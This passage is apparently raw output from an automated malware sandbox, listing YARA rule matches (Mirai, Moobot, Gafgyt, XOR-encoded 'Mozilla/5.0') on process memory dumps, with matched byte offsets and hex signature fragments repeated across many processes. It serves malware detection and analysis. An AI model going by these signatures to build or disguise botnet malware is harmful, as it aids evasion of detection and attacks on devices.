2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6652.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6832.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6792.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6792.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6792.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6792.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6792.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6792.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7233.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7233.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7233.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7233.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7233.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7233.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6636.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6552.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6331.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6911.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6511.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6511.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6511.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6511.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6511.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6511.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7178.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6842.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6842.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6842.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6842.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6842.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6842.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7312.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7156.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6614.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6614.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6614.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6614.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6614.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 